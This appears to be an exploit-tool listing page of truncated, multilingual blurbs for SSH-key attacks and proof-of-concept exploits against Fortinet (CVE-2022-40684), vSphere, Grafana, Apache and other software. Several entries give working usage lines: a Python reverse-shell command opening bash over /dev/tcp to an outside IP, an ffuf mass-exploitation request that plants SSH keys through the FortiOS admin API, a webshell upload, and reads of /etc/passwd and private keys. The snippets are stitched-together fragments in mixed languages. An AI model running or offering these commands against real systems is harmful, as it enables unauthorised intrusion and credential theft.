debian-ssh

Debian OpenSSL Vorhersagbarer PRNG Links Original-URL: http://metasploit.com/users/hdm/tools/debian-openssl/ Mirror Exploit: https://www.exploit-db.com/exploits/5622/ Perl https://www.exploit-db.com/exploits/5720/ Python https://www.exploit-db.com/exploits/5632/ Ruby Empfohlenes Tool: Crowbar...

CVE-2022-40684

CVE-2022-40684 POC per CVE-2022-40684 che colpisce i dispositivi Fortinet FortiOS, FortiProxy e FortiSwitchManager. Analisi tecnica Un'analisi tecnica della causa principale della vulnerabilità è disponibile sul nostro blog:...

CVE-2022-40684

CVE-2022-40684 por 1vere$k Por enquanto é uma cópia POC para CVE-2022-40684 que afeta os appliances Fortinet FortiOS, FortiProxy e FortiSwitchManager. Copiado de https://github.com/horizon3ai/CVE-2022-40684 Análise O exploit usa o payload simples: root@kitploit: PUT /api/v2/cmdb/system/admin/admi...

CVE-2023-34039

CVE-2023-34039 POC für CVE-2023-34039 VMWare Aria Operations for Networks vRealize Network Insight Statischer SSH-Schlüssel RCE Technische Analyse Eine Root-Cause-Analyse der Schwachstelle findest du in meinem Blog: https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/...

Fortinet-CVE-2022-40684

Fortinet-CVE-2022-40684 Introdução da Ferramenta Ferramenta de exploração rápida para CVE-2022-40684, código de iniciante, se tiver problemas, sinta-se à vontade para abrir issues. Modo de Usar main -t http://127.0.0.1 -u admin -f path-of-ssh-key.pub Aviso de Isenção de Responsabilidade Esta...

crowbar

Crowbar - Strumento di forza bruta Cos'è Crowbar? Crowbar precedentemente noto come Levye è uno strumento di forza bruta utilizzabile durante i test di penetrazione. È stato sviluppato per forzare alcuni protocolli in modo diverso rispetto ad altri strumenti di forza bruta popolari. Ad esempio,...

CVE-2022-40684-POC

CVE-2022-40684-POC FortiProxy / FortiOS bypass dell'autenticazione Sfruttamento di massa /api/v2/cmdb/system/admin/ "ssh-public-key1": "" root@kitploit: ffuf -c -w hosts.txt -u FUZZ/api/v2/cmdb/system/admin/admin -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H...

CVE-2024-47533

root@kitploit: Shell inversa python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Comando semplice python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Aggiungi chiave SSH python3 CVE-2024-47533.py --url http://127.0.0.1:251...

kube-alien

Kube-alien Esta ferramenta lança um ataque em um cluster k8s a partir de dentro. Isso significa que você já precisa ter acesso com permissão para implantar pods em um cluster para executá-la. Após executar o pod kube-alien, ele tenta assumir o controle dos nós do cluster adicionando sua chave...

GrafXploit

Strumento di Exploit Automatico per Grafana CVE-2021-43798 Panoramica Questo progetto è uno strumento di exploit automatico progettato per scansionare ed estrarre informazioni sensibili da istanze Grafana compromesse vulnerabili a CVE-2021-43798. Lo strumento identifica i plugin vulnerabili ed...

vSphereyeeter

vsphereyeeter.sh è uno script bash automatizzato per sfruttare la vulnerabilità CVE-2021-21972 nel client vSphere per i server vCenter. Una volta eseguito, basta fornire l'indirizzo IP del target vulnerabile e si otterrà una shell SSH. "Il client vSphere HTML5 contiene una vulnerabilità di...

CVE-2024-46987

Exploit CVE-2024-46987 - Path Traversal no Camaleon CMS Esta ferramenta explora uma vulnerabilidade de Path Traversal no Camaleon CMS CVE-2024-46987. Ela permite o download arbitrário de arquivos e inclui um recurso automatizado para tentar recuperar chaves SSH de usuários descobertos no sistema...

CVE-2018-17873

CVE-2018-17873 I router indoor WiFiRanger Core, GoAC e i relativi router outdoor accoppiati Sky Pro, EliteAC, EliteAC FM con versione firmware 7.0.8rc3 o precedenti consentono accesso FTP anonimo in lettura/scrittura e lasciano la chiave privata SSH in chiaro, rendendo banale visualizzare/copiare...

CVE-2021-21972

Uso:CVE-2021-21972.py option -u or --url: url di destinazione -t or --type: tipo di Payload ssh/webshell -f or --file: il file da caricare webshell o authorizedkeys Esempio: CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p or --proxy: impostazione del proxy Esempio:...

CVE-2022-40684

CVE-2022-40684 punteggio CVSS: 9.6 POC per CVE-2022-40684 che interessa i dispositivi Fortinet FortiOS, FortiProxy e FortiSwitchManager. Prodotti vulnerabili Versioni FortiOS tra 7.0.0 – 7.0.6 e 7.2.0 – 7.2.1 Versioni FortiProxy tra 7.0.0 – 7.0.6 e versione 7.2.0 Versioni FortiSwitchManager 7.0.0...

malicious-devfile-registry

Registry Devfile dannoso Il progetto contiene un Registry Devfile dannoso utilizzabile per sfruttare la CVE-2024-0402 in Gitlab. L'Exploit Uno stack nodejs:2.2.1 viene indicizzato per esporre il file archive.tar che sfrutta il problema di path traversal nella libreria registry-support precedente...

fortipwn

fortipwn Script di enumerazione Forti CVE-2022-40684 scritto in Rust. Carica una chiave pubblica SSH in authorizedkeys, consentendo a un attaccante di connettersi via SSH a un server che esegue FortiOS come admin. Utilizzo root@kitploit: $ ./fortipwn Compilazione root@kitploit: $ git clone...

CVE-2021-43798

CVE-2021-43798 Directory Traversal und beliebige Dateiauslese in Grafana Autoren: Wagner Alves - Red Team Analyst Dieser Exploit nutzt Schwachstellen in Directory Traversal und beliebiger Dateiauslese in Grafana 8.0 - 8.3 aus, um Dateien wie /etc/passwd, /etc/hosts, /home/user/.ssh/idrsa,...

sidedoor

sidedoor sidedoor maintains an SSH connection or tunnel with a shell script daemon. The primary use case is maintaining a remote port forward to the local SSH server or another port. Thus, the local device can be accessed without using incoming connections that may be blocked by a NAT or firewall...

SSH-key-and-RCE-PoC-for-CVE-2021-41773

Chiave SSH e PoC RCE per CVE-2021-41773 Questo repository contiene un Proof-of-Concept PoC per CVE-2021-41773. Questa CVE espone una vulnerabilità di Local File Inclusion LFI e Remote Code Execution RCE. Installazione Assicurati di avere installata la versione 1.23.0 di Go. Costruisci il binario...